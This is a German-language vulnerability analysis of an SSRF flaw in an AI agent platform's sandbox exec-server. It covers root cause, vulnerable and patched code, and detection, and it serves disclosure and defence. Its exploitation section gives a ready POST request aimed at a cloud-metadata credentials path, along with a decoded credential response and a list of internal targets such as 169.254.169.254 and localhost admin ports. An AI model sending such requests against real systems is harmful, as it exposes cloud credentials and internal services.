
Tiefgehende Analyse von CVE-2026-62201: Umgehung der Netzwerkrichtlinie des OpenClaw-Sandbox-Exec-Servers (SSRF). Grundursache, verwundbarer vs. gepatchter Code, Ausnutzung, Erkennung, Abhilfe.
Schweregrad: Hoch · CVSS: 7,7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) · CWE-918 (Server-Side Request Forgery)
| Feld | Wert |
|---|---|
| Advisory | GHSA-mgvr-6gvw-3rgr |
| NVD | CVE-2026-62201 |
| Produkt | OpenClaw (npm-Paket openclaw) — Sandbox-exec-server-Komponente |
| Betroffen | openclaw < 2026.6.6 |
| Behoben | 2026.6.6 und später |
| Grundursache | Fehlende SSRF-Validierung im eingebetteten HTTP-Helfer des exec-servers (SANDBOX_HTTP_REQUEST_SCRIPT) |
| Fix-Commit | 21410d1c — "fix(codex): guard sandbox http requests" |
| Angriffsvektor | HTTP-POST an den http/request-Handler des exec-servers mit einer angreiferkontrollierten URL |
| Auswirkung | Aufrufer mit niedrigen Privilegien erreicht interne Netzwerkziele (Cloud-Metadaten, private IPs, Localhost-Dienste), die die OpenClaw-Netzwerkrichtlinie blockieren sollte |
OpenClaw ist eine KI-Agenten-Plattform, deren Sandbox-exec-server einen HTTP-Request-Helfer bereitstellt, den Agenten für ausgehende Webaufrufe nutzen. Versionen vor 2026.6.6 lieferten diesen Helfer ohne SSRF-Schutz aus: Ein Aufrufer mit geringerer Vertrauensstufe — jeder Agent, jedes Tool oder jeder Eingabepfad, den die Plattform als weniger vertrauenswürdig als einen Gateway-Betreiber einstuft — konnte eine beliebige URL übermitteln und den exec-server veranlassen, diese aus dem Host-Netzwerk heraus abzurufen.
Netzwerkrichtlinien-Prüfungen, die für direkten Sandbox-Egress gelten, wurden nicht angewendet, wenn Anfragen über die HTTP-Schnittstelle des exec-servers liefen. Diese Inkonsistenz ist die Schwachstelle: Der exec-server fungierte als uneingeschränkter HTTP-Proxy in das interne Netzwerk.
Wenn OpenClaw einen Codex-Agenten in einer Sandbox ausführt, startet es einen lokalen exec-server (extensions/codex/src/app-server/sandbox-exec-server.ts), der JSON-RPC-Methoden über einen WebSocket/HTTP-Transport bereitstellt. Eine dieser Methoden, http/request, ermöglicht dem Agenten das Abrufen von URLs. Die Implementierung leitet die Anfrage durch ein kleines eingebettetes Python-Skript — SANDBOX_HTTP_REQUEST_SCRIPT — das die eigentliche urllib-Arbeit erledigt.
Der Request-Handler befindet sich in extensions/codex/src/app-server/sandbox-exec-server/http.ts.
Der Python-Helfer erhielt die URL und prüfte nur das Schema:
# Aus [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (gekürzt)
def main():
input_data = json.load(sys.stdin)
url = str(input_data.get("url", ""))
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("http/request only supports http and https URLs")
request = urllib.request.Request(url, ...)
with urllib.request.urlopen(request, timeout=timeout) as response:
handle_response(input_data, response)
Das ist die gesamte Absicherung. Es gab:
localhost, *.internal, metadata.google.internal …)http://169.254.169.254/ wurde blind verfolgtErgebnis: {"method":"GET","url":"http://<interner-host>/"} gab den internen Antworttext an den Aufrufer zurück. Der exec-server war ein offener Proxy in das Host-Netzwerk.
Commit 21410d1c fügte Defense-in-Depth auf beiden Ebenen hinzu:
Ebene 1 — TypeScript-Vorprüfung (assertSandboxHttpRequestTargetAllowed in http.ts):
function assertSandboxHttpRequestTargetAllowed(url: string): void {
const parsed = new URL(url);
if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
throw new SsrFBlockedError(...);
}
if (isBlockedHostnameOrIp(parsed.hostname)) {
throw new SsrFBlockedError(...);
}
}
Ebene 2 — Härtung des Python-Helfers (assert_url_allowed im eingebetteten Skript):
localhost, localhost.localdomain, metadata.google.internal, plus *.localhost-, *.local-, *.internal-Suffixe169.254.169.254, 100.100.100.200, fd00:ec2::254100.64.0.0/10, Benchmarking 198.18.0.0/15, Dokumentation 2001:db8::/32 und weitereipaddress-Klassifizierung: Loopback, privat, Link-Local, Multicast, reserviert, unspezifiziertGuardedRedirectHandler: Jeder Redirect-Hop führt assert_url_allowed erneut aus, bevor er verfolgt wird::ffff:a.b.c.d), 6to4- (2002::/16), Teredo- und ISATAP-Formen werden entpackt und ihre eingebettete IPv4 wird geprüftdef assert_url_allowed(url):
parsed = urllib.parse.urlparse(url)
...
hostname = normalize_hostname(parsed.hostname)
if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
raise ValueError("Blocked hostname or private/internal/special-use IP address")
results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
addresses = {entry[4][0] for entry in results if entry[4]}
if not addresses or any(is_blocked_ip(address) for address in addresses):
raise ValueError("Blocked: resolves to private/internal/special-use IP address")
PINNED_ADDRESSES[hostname] = sorted(addresses)
2026.6.6 mit aktiviertem Sandbox-exec-serverhttp/request aufzurufen (die Plattform behandelt dies als Zugriff mit niedrigen Privilegien — z. B. ein Plugin, ein Tool oder ein Eingabepfad, nicht ein Gateway-Betreiber)Schritt 1 — Senden einer Anfrage, die auf einen internen Dienst abzielt:
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json
{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}
Schritt 2 — Verwundbare Antwort (HTTP 200):
Der exec-server rief die interne URL ab und gab den Text an den Aufrufer zurück — base64-gewrappt als bodyBase64:
{
"status": 200,
"headers": [{"name":"Content-Type","value":"application/json"}],
"bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}
Dekodiert:
{
"secret": "...",
"instanceId": "...",
"region": "us-east-1",
"role": "admin-role"
}
Schritt 3 — Behobene Antwort (HTTP 502):
{
"error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}
Das interne Ziel ist auf gepatchten Versionen über den exec-server nicht erreichbar.
http://169.254.169.254/latest/meta-data/iam/security-credentials/ → IAM-Anmeldedatenhttp://127.0.0.1:<port>/ zum Zugriff auf ko-lokalisierte, nicht authentifizierte Verwaltungsschnittstellen